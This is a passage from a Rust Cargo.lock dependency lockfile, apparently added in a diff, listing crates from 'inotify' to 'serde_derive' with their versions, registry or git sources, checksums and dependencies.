"bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown 0.12.3", +] + +[[package]] +name = "inotify" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8069d3ec154eb856955c1c0fbffefbf5f3c40a104ec912d4797314c1801abff" +dependencies = [ + "bitflags 1.3.2", + "inotify-sys", + "libc", +] + +[[package]] +name = "inotify-sys" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e05c02b5e89bff3b946cedeca278abc628fe811e604f027c45a8aa3cf793d0eb" +dependencies = [ + "libc", +] + +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "ipnet" +version = "2.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3" + +[[package]] +name = "iri-string" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21859b667d66a4c1dacd9df0863b3efb65785474255face87f5bca39dd8407c0" +dependencies = [ + "memchr", + "serde", +] + +[[package]] +name = "itertools" +version = "0.10.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0fd2260e829bddf4cb6ea802289de2f86d6a7a690192fbe91b3f46e0f2c8473" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" + +[[package]] +name = "jobserver" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c37f63953c4c63420ed5fd3d6d398c719489b9f872b9fa683262f8edd363c7d" +dependencies = [ + "libc", +] + +[[package]] +name = "jpeg-decoder" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc0000e42512c92e31c2252315bda326620a4e034105e900c98ec492fa077b3e" +dependencies = [ + "rayon", +] + +[[package]] +name = "js-sys" +version = "0.3.65" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "54c0c35952f67de54bb584e9fd912b3023117cbafc0a77d8f3dee1fb5f572fe8" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "kqueue" +version = "1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7447f1ca1b7b563588a205fe93dea8df60fd981423a768bc1c0ded35ed147d0c" +dependencies = [ + "kqueue-sys", + "libc", +] + +[[package]] +name = "kqueue-sys" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed9625ffda8729b85e45cf04090035ac368927b8cebc34898e7c120f52e4838b" +dependencies = [ + "bitflags 1.3.2", + "libc", +] + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + +[[package]] +name = "lebe" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03087c2bad5e1034e8cace5926dec053fb3790248370865f5117a7d0213354c8" + +[[package]] +name = "libc" +version = "0.2.150" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" + +[[package]] +name = "libsqlite3-sys" +version = "0.24.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "898745e570c7d0453cc1fbc4a701eb6c662ed54e8fec8b7d14be137ebeeb9d14" +dependencies = [ + "cc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "libva-sys" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49e4c5aa2cb99e640a357c42cf83dcb978ed08f99a3ca09eac534091aee2e9ba" +dependencies = [ + "cc", + "cfg-if", + "libc", + "pkg-config", +] + +[[package]] +name = "linux-raw-sys" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "969488b55f8ac402214f3f5fd243ebb7206cf82de60d3172994707a4bcc2b829" + +[[package]] +name = "lock_api" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" + +[[package]] +name = "mach" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b823e83b2affd8f40a9ee8c29dbc56404c1e34cd2710921f2801e2cf29527afa" +dependencies = [ + "libc", +] + +[[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata 0.1.10", +] + +[[package]] +name = "matchit" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e7465ac9959cc2b1404e8e2367b43684a6d13790fe23056cc8c6c5a6b7bcb94" + +[[package]] +name = "memchr" +version = "2.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f665ee40bc4a3c5590afb1e9677db74a508659dfd71e126420da8274909a0167" + +[[package]] +name = "memoffset" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce" +dependencies = [ + "autocfg", +] + +[[package]] +name = "memoffset" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "mime_guess" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4192263c238a5f0d0c6bfd21f336a313a4ce1c450542449ca191bb657b4642ef" +dependencies = [ + "mime", + "unicase", +] + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "miniz_oxide" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +dependencies = [ + "adler", + "simd-adler32", +] + +[[package]] +name = "mio" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0" +dependencies = [ + "libc", + "log", + "wasi 0.11.0+wasi-snapshot-preview1", + "windows-sys 0.48.0", +] + +[[package]] +name = "mp4" +version = "0.8.2" +source = "git+https://github.com/vgarleanu/mp4-rust#d4f85ce3a438bc80d93df467c3f3320c5b3352e7" +dependencies = [ + "byteorder", + "bytes 0.5.6", + "num-rational", + "serde", + "serde_json", + "thiserror", +] + +[[package]] +name = "multer" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01acbdc23469fd8fe07ab135923371d5f5a422fbf9c522158677c8eb15bc51c2" +dependencies = [ + "bytes 1.5.0", + "encoding_rs", + "futures-util", + "http 0.2.9", + "httparse", + "log", + "memchr", + "mime", + "spin 0.9.8", + "version_check", +] + +[[package]] +name = "nightfall" +version = "0.3.12-rc4" +source = "git+https://github.com/Dusk-Labs/nightfall?tag=0.3.12-rc4#147ea96146b4cae6f666741020cef0622a90d46c" +dependencies = [ + "async-trait", + "cfg-if", + "err-derive", + "lazy_static", + "mp4", + "nix 0.20.0", + "ntapi", + "once_cell", + "psutil", + "rusty_vainfo", + "serde", + "serde_derive", + "serde_json", + "tokio", + "tokio-stream", + "tracing", + "uuid 0.8.2", + "winapi", + "xtra", + "xtra_proc", +] + +[[package]] +name = "nix" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa9b4819da1bc61c0ea48b63b7bc8604064dd43013e7cc325df098d49cd7c18a" +dependencies = [ + "bitflags 1.3.2", + "cc", + "cfg-if", + "libc", +] + +[[package]] +name = "nix" +version = "0.23.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f3790c00a0150112de0f4cd161e3d7fc4b2d8a5542ffc35f099a2562aecb35c" +dependencies = [ + "bitflags 1.3.2", + "cc", + "cfg-if", + "libc", + "memoffset 0.6.5", +] + +[[package]] +name = "no-std-compat" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b93853da6d84c2e3c7d730d6473e8817692dd89be387eb01b94d7f108ecb5b8c" + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "nonzero_ext" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38bf9645c8b145698bb0b18a4637dcacbc421ea49bef2317e4fd8065a387cf21" + +[[package]] +name = "notify" +version = "5.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "729f63e1ca555a43fe3efa4f3efdf4801c479da85b432242a7b726f353c88486" +dependencies = [ + "bitflags 1.3.2", + "crossbeam-channel", + "filetime", + "fsevent-sys", + "inotify", + "kqueue", + "libc", + "mio", + "walkdir", + "windows-sys 0.45.0", +] + +[[package]] +name = "ntapi" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c28774a7fd2fbb4f0babd8237ce554b73af68021b5f695a3cebd6c59bac0980f" +dependencies = [ + "winapi", +] + +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + +[[package]] +name = "num-integer" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" +dependencies = [ + "autocfg", + "num-traits", +] + +[[package]] +name = "num-rational" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0638a1c9d0a3c0914158145bc76cff373a75a627e6ecbfb71cbe6f453a5a19b0" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", + "serde", +] + +[[package]] +name = "num-traits" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "num_cpus" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" +dependencies = [ + "hermit-abi 0.3.3", + "libc", +] + +[[package]] +name = "object" +version = "0.32.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9cf5f9dd3933bd50a9e1f149ec995f39ae2c496d31fd772c1fd45ebc27e902b0" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" + +[[package]] +name = "oorandom" +version = "11.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ab1bc2a289d34bd04a330323ac98a1b4bc82c9d9fcb1e66b63caa84da26b575" + +[[package]] +name = "opaque-debug" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] +name = "parking_lot" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99" +dependencies = [ + "instant", + "lock_api", + "parking_lot_core 0.8.6", +] + +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core 0.9.9", +] + +[[package]] +name = "parking_lot_core" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60a2cfe6f0ad2bfc16aefa463b497d5c7a5ecd44a23efa72aa342d90177356dc" +dependencies = [ + "cfg-if", + "instant", + "libc", + "redox_syscall 0.2.16", + "smallvec", + "winapi", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall 0.4.1", + "smallvec", + "windows-targets 0.48.5", +] + +[[package]] +name = "paste" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c" + +[[package]] +name = "percent-encoding" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b2a4787296e9989611394c33f193f676704af1686e70b8f8033ab5ba9a35a94" + +[[package]] +name = "pin-project" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkg-config" +version = "0.3.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" + +[[package]] +name = "plotters" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2c224ba00d7cadd4d5c660deaf2098e5e80e07846537c51f9cfa4be50c1fd45" +dependencies = [ + "num-traits", + "plotters-backend", + "plotters-svg", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "plotters-backend" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e76628b4d3a7581389a35d5b6e2139607ad7c75b17aed325f210aa91f4a9609" + +[[package]] +name = "plotters-svg" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38f6d39893cca0701371e3c27294f09797214b86f1fb951b89ade8ec04e2abab" +dependencies = [ + "plotters-backend", +] + +[[package]] +name = "png" +version = "0.17.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd75bf2d8dd3702b9707cdbc56a5b9ef42cec752eb8b3bafc01234558442aa64" +dependencies = [ + "bitflags 1.3.2", + "crc32fast", + "fdeflate", + "flate2", + "miniz_oxide", +] + +[[package]] +name = "pollster" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5da3b0203fd7ee5720aa0b5e790b591aa5d3f41c3ed2c34a3a393382198af2f7" + +[[package]] +name = "polyval" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8419d2b623c7c0896ff2d5d96e2cb4ede590fed28fcc34934f4c33c036e620a1" +dependencies = [ + "cfg-if", + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "proc-macro-error" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +dependencies = [ + "proc-macro-error-attr", + "proc-macro2", + "quote", + "syn 1.0.109", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +dependencies = [ + "proc-macro2", + "quote", + "version_check", +] + +[[package]] +name = "proc-macro2" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "134c189feb4956b20f6f547d2cf727d4c0fe06722b20a0eec87ed445a97f92da" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "psutil" +version = "3.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f866af2b0f8e4b0d2d00aad8a9c5fc48fad33466cd99a64cbb3a4c1505f1a62d" +dependencies = [ + "cfg-if", + "darwin-libproc", + "mach", + "nix 0.23.2", + "once_cell", + "thiserror", +] + +[[package]] +name = "qoi" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f6d64c71eb498fe9eae14ce4ec935c555749aef511cca85b5568910d6e48001" +dependencies = [ + "bytemuck", +] + +[[package]] +name = "quanta" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20afe714292d5e879d8b12740aa223c6a88f118af41870e8b6196e39a02238a8" +dependencies = [ + "crossbeam-utils", + "libc", + "mach", + "once_cell", + "raw-cpuid", + "wasi 0.10.2+wasi-snapshot-preview1", + "web-sys", + "winapi", +] + +[[package]] +name = "quote" +version = "1.0.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "raw-cpuid" +version = "10.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c297679cb867470fa8c9f67dbba74a78d78e3e98d7cf2b08d6d71540f797332" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "rayon" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c27db03db7734835b3f53954b534c91069375ce6ccaa2e065441e07d9b6cdb1" +dependencies = [ + "either", + "rayon-core", +] + +[[package]] +name = "rayon-core" +version = "1.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ce3fb6ad83f861aac485e76e1985cd109d9a3713802152be56c3b1f0e0658ed" +dependencies = [ + "crossbeam-deque", + "crossbeam-utils", +] + +[[package]] +name = "redox_syscall" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_syscall" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_syscall" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "regex" +version = "1.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata 0.4.3", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-automata" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-syntax" +version = "0.6.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" + +[[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] +name = "reqwest" +version = "0.11.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "046cd98826c46c2ac8ddecae268eb5c2e58628688a5fc7a2643704a73faba95b" +dependencies = [ + "async-compression", + "base64 0.21.5", + "bytes 1.5.0", + "encoding_rs", + "futures-core", + "futures-util", + "h2", + "http 0.2.9", + "http-body 0.4.5", + "hyper", + "hyper-rustls", + "ipnet", + "js-sys", + "log", + "mime", + "once_cell", + "percent-encoding", + "pin-project-lite", + "rustls 0.21.8", + "rustls-pemfile", + "serde", + "serde_json", + "serde_urlencoded", + "system-configuration", + "tokio", + "tokio-rustls 0.24.1", + "tokio-util", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "webpki-roots 0.25.2", + "winreg", +] + +[[package]] +name = "retry-block" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "095a7c37fd304fa4fef479da6293cd8dcd8ddb7eb26a03c28cc33f949362a379" +dependencies = [ + "async-trait", + "futures-util", + "rand", + "serde", + "tokio", + "tokio-stream", +] + +[[package]] +name = "ring" +version = "0.16.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3053cf52e236a3ed746dfc745aa9cacf1b791d846bdaf412f60a8d7d6e17c8fc" +dependencies = [ + "cc", + "libc", + "once_cell", + "spin 0.5.2", + "untrusted 0.7.1", + "web-sys", + "winapi", +] + +[[package]] +name = "ring" +version = "0.17.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb0205304757e5d899b9c2e448b867ffd03ae7f988002e47cd24954391394d0b" +dependencies = [ + "cc", + "getrandom", + "libc", + "spin 0.9.8", + "untrusted 0.9.0", + "windows-sys 0.48.0", +] + +[[package]] +name = "rusqlite" +version = "0.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85127183a999f7db96d1a976a309eebbfb6ea3b0b400ddd8340190129de6eb7a" +dependencies = [ + "bitflags 1.3.2", + "fallible-iterator", + "fallible-streaming-iterator", + "hashlink", + "libsqlite3-sys", + "memchr", + "smallvec", +] + +[[package]] +name = "rust-embed" +version = "5.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2fe1fe6aac5d6bb9e1ffd81002340363272a7648234ec7bdfac5ee202cb65523" +dependencies = [ + "rust-embed-impl", + "rust-embed-utils", + "walkdir", +] + +[[package]] +name = "rust-embed-impl" +version = "5.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ed91c41c42ef7bf687384439c312e75e0da9c149b0390889b94de3c7d9d9e66" +dependencies = [ + "proc-macro2", + "quote", + "rust-embed-utils", + "syn 1.0.109", + "walkdir", +] + +[[package]] +name = "rust-embed-utils" +version = "5.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a512219132473ab0a77b52077059f1c47ce4af7fbdc94503e9862a34422876d" +dependencies = [ + "walkdir", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "rustix" +version = "0.38.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b426b0506e5d50a7d8dafcf2e81471400deb602392c7dd110815afb4eaf02a3" +dependencies = [ + "bitflags 2.4.1", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.48.0", +] + +[[package]] +name = "rustls" +version = "0.19.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35edb675feee39aec9c99fa5ff985081995a06d594114ae14cbe797ad7b7a6d7" +dependencies = [ + "base64 0.13.1", + "log", + "ring 0.16.20", + "sct 0.6.1", + "webpki", +] + +[[package]] +name = "rustls" +version = "0.21.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "446e14c5cda4f3f30fe71863c34ec70f5ac79d6087097ad0bb433e1be5edf04c" +dependencies = [ + "log", + "ring 0.17.5", + "rustls-webpki", + "sct 0.7.1", +] + +[[package]] +name = "rustls-pemfile" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d3987094b1d07b653b7dfdc3f70ce9a1da9c51ac18c1b06b662e4f9a0e9f4b2" +dependencies = [ + "base64 0.21.5", +] + +[[package]] +name = "rustls-webpki" +version = "0.101.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765" +dependencies = [ + "ring 0.17.5", + "untrusted 0.9.0", +] + +[[package]] +name = "rustversion" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" + +[[package]] +name = "rusty_vainfo" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a7e34bc5c01a524319b395c0eaab6dd5a521d6d1d796de4de714ad2ccd6caf8" +dependencies = [ + "libva-sys", +] + +[[package]] +name = "ryu" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "sct" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b362b83898e0e69f38515b82ee15aa80636befe47c3b6d3d89a911e78fc228ce" +dependencies = [ + "ring 0.16.20", + "untrusted 0.7.1", +] + +[[package]] +name = "sct" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414" +dependencies = [ + "ring 0.17.5", + "untrusted 0.9.0", +] + +[[package]] +name = "serde" +version = "1.0.192" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bca2a08484b285dcb282d0f67b26cadc0df8b19f8c12502c13d966bf9482f001" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_cbor" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bef2ebfde456fb76bbcf9f59315333decc4fda0b2b44b420243c11e0f5ec1f5" +dependencies = [ + "half 1.8.2", + "serde", +] + +[[package]] +name = "serde_derive" +version = "1.0.192" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6c7207fbec9faa48073f3e3074cbe553af6ea512d7c21ba46e434e70ea9fbc1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = 